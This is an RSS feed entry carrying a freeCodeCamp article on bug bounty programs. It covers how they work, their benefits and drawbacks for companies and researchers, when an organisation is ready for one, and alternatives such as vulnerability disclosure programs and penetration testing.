                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is a Bug Bounty Program? How Bug Bounties Work and Who Should Use Them ]]>
                </title>
                <description>
                    <![CDATA[ By Megan Kaczanowski Bug bounty programs allow independent security researchers to report bugs to an organization and receive rewards or compensation. These bugs are usually security exploits and vulnerabilities, though they can also include process ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/whats-a-bug-bounty-program/</link>
                <guid isPermaLink="false">66d4607f230dff016690583f</guid>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 07 Dec 2020 18:30:50 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/12/pexels-pixabay-35804.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Megan Kaczanowski</p>
<p>Bug bounty programs allow independent security researchers to report bugs to an organization and receive rewards or compensation. These bugs are usually security exploits and vulnerabilities, though they can also include process issues, hardware flaws, and so on.</p>
<p>The reports are typically made through a program run by an independent third party (like Bugcrowd or HackerOne). The organization will set up (and run) a program curated to the organization's needs. </p>
<p>Programs may be private (invite-only) where reports are kept confidential to the organization or public (where anyone can sign up and join). They can take place over a set time frame or with no end date (though the second option is more common).</p>
<h2 id="heading-who-uses-bug-bounty-programs">Who uses bug bounty programs?</h2>
<p>Many major organizations use bug bounties as a part of their security program, including AOL, Android, Apple, Digital Ocean, and Goldman Sachs. You can view a list of all the programs offered by major bug bounty providers, <a target="_blank" href="https://www.bugcrowd.com/bug-bounty-list/">Bugcrowd</a> and <a target="_blank" href="https://www.hackerone.com/">HackerOne</a>, at these links.</p>
<h2 id="heading-why-do-companies-use-bug-bounty-programs">Why do companies use bug bounty programs?</h2>
<p>Bug bounty programs give companies the ability to harness a large group of hackers in order to find bugs in their code. </p>
<p>This gives them access to a larger number of hackers or testers than they would be able to access on a one-on-one basis. It can also increase the chances that bugs are found and reported to them before malicious hackers can exploit them.</p>
<p>It can also be a good public relations choice for a firm. As bug bounties have become more common, having a bug bounty program can signal to the public and even regulators that an organization has a mature security program. </p>
<p>This trend is likely to continue, as some have started to see bug bounty programs as an industry standard which all organizations should invest in. </p>
<h2 id="heading-why-do-researchers-and-hackers-participate-in-bug-bounty-programs">Why do researchers and hackers participate in bug bounty programs?</h2>
<p>Finding and reporting bugs via a bug bounty program can result in both cash bonuses and recognition. In some cases, it can be a great way to show real-world experience when you're looking for a job, or can even help introduce you to folks on the security team inside an organization. </p>
<p>This can be full time income for some folks, income to supplement a job, or a way to show off your skills and get a full time job. </p>
<p>It can also be fun! It's a great (legal) chance to test out your skills against massive corporations and government agencies.</p>
<h2 id="heading-what-are-the-disadvantages-of-a-bug-bounty-program-for-independent-researchers-and-hackers">What are the disadvantages of a bug bounty program for independent researchers and hackers?</h2>
<p>A lot of hackers participate in these types of programs, and it can be difficult to make a significant amount of money on the platform. </p>
<p>In order to claim the reward, the hacker needs to be the first person to submit the bug to the program. That means that in practice, you might spend weeks looking for a bug to exploit, only to be the second person to report it and make no money. </p>
<p>R<a target="_blank" href="https://www.cyberscoop.com/bug-bounty-pen-testing-hackerone-synack-bugcrowd/">oughly 97% of</a> participants on major bug bounty platforms have never sold a bug. </p>
<p>In fact, a <a target="_blank" href="https://www.cyberscoop.com/bug-bounty-pen-testing-hackerone-synack-bugcrowd/">2019 report</a> from HackerOne confirmed that out of more than 300,000 registered users, only around 2.5% received a bounty in their time on the platform. </p>
<p>Essentially, most hackers aren't making much money on these platforms, and very few are making enough to replace a full time salary (plus they don't have benefits like vacation days, health insurance, and retirement planning). </p>
<h2 id="heading-what-are-the-disadvantages-of-bug-bounty-programs-for-organizations">What are the disadvantages of bug bounty programs for organizations?</h2>
<p>These programs are only beneficial if the program results in the organization finding problems that they weren't able to find themselves (and if they can fix those problems)! </p>
<p>If the organization isn't mature enough to be able to quickly remediate identified issues, a bug bounty program isn't the right choice for their organization. </p>
<p>Also, any bug bounty program is likely to attract a large number of submissions, many of which may not be high-quality submissions. An organization needs to be prepared to deal with the increased volume of alerts, and the possibility of a low signal to noise ratio (essentially that it's likely that they'll receive quite a few unhelpful reports for every helpful report).</p>
<p>Additionally, if the program doesn't attract enough participants (or participants with the wrong skill set, and thus participants aren't able to identify any bugs), the program isn't helpful for the organization. </p>
<p>The vast majority of bug bounty participants concentrate on website vulnerabilities (72%, according to HackerOn), while only a few (3.5%) opt to look for operating system vulnerabilities. </p>
<p>This is likely due to the fact that hacking operating systems (like network hardware and memory) requires a significant amount of highly specialized expertise. This means that companies may see significant return on investment for bug bounties on websites, and not for other applications, particularly those which require specialized expertise.</p>
<p>This also means that organizations which need to examine an application or website within a specific time frame might not want to rely upon a bug bounty as there's no guarantee of when or if they receive reports.</p>
<p>Finally, it can be potentially risky to allow independent researchers to attempt to penetrate your network. This may result in public disclosure of bugs, causing reputation damage in the public eye (which may result in people not wanting to purchase the organizations' product or service), or disclosure of bugs to more malicious third parties, who could use this information to target the organization.</p>
<h2 id="heading-is-a-bug-bounty-program-right-for-every-organization">Is a bug bounty program right for every organization?</h2>
<p>No. An organization needs to reach a certain level of maturity in their security program before a bug bounty program can be effective. </p>
<p>The biggest question an organization needs to ask is whether or not they will be able to fix any identified vulnerabilities. If they can't do so within a reasonable amount of time, a bug bounty program probably isn't a good idea. </p>
<p>If the organization is struggling to implement basic patch management or they have a host of other identified problems that they are struggling to fix, then the additional volume of reports which a bug bounty program will generate is not a good idea. </p>
<p>A bug bounty program becomes a good idea when there is not a backlog of identified security issues, remediation processes are in place for addressing identified issues, and the team is looking for additional reports. </p>
<p>Additionally, as I mentioned earlier, while websites are usually good targets for bug bounty programs, a highly specialized target, such as network hardware or even operating systems, may not attract enough participants to be worthwhile.</p>
<p>Finally, the amount of money or prestige afforded by successfully submitting a report for different organizations may impact the number of participants and the number of highly skilled participants (that is, reporting a bug for Apple or Google may carry more prestige than a bug for a company which isn't as well known).</p>
<h2 id="heading-what-are-the-alternatives-to-bug-bounty-programs">What are the alternatives to bug bounty programs?</h2>
<p>First, organizations should have a vulnerability disclosure program. Essentially, this provides a secure channel for researchers to contact the organization about identified security vulnerabilities, even if they do not pay the researcher. </p>
<p>Having an identified point of contact can be helpful as it can immediately filter requests to the security team, rather than a communications team which may not know how seriously to treat the report. It can also encourage researchers to report vulnerabilities when found. </p>
<p>Typically this also includes a framework for how to handle intake, mitigation, and any remediation measures.</p>
<p>Additionally, organizations may opt to hire a penetration testing firm to perform a time-limited test of specific systems or applications. The pen testers will have a curated, directed target and will produce a report at the end of the test. </p>
<p>This will ensure that the company gets a team of highly skilled, trusted hackers at a known price. They can also request any specialized expertise which they need, as well as ensuring the test is private, rather than publicly accessible. </p>
<p>The company may even have the testers sign non-disclosure agreements and test highly sensitive internal applications. </p>
<p>However, this is typically a single event, rather than an ongoing bounty. Also, penetration testers are paid whether or not they find any vulnerabilities (whereas in a bug bounty the researchers are only paid if they successfully report a bug). </p>
<h2 id="heading-which-is-better-bug-bounty-programs-or-hired-penetration-testers">Which is better – bug bounty programs or hired penetration testers?</h2>
<p>Often these two methods are not directly comparable - each has strengths and weaknesses. </p>
<p>If the organization would benefit more from having more people (of varying skill levels) looking at a problem, the application isn't particularly sensitive, and it doesn't require specific expertise, a bug bounty is probably more appropriate. </p>
<p>If the application is internal/sensitive, the problem requires specific expertise, or the organization needs a response within a specific time frame, a penetration test is more appropriate. </p>
<p>Interested in learning more about bug bounties?</p>
<ul>
<li><a target="_blank" href="https://www.hacker101.com/">HackerOne has an introductory course to help folks get into bug bounties</a>.</li>
<li>Here's an interview with <a target="_blank" href="https://www.theverge.com/2020/7/7/21315870/cybersecurity-bug-bounties-commercialization-katie-moussouris-interview-vergecast-podcast">Katie Moussouris, one of the biggest names in Bug Bounties</a>.</li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
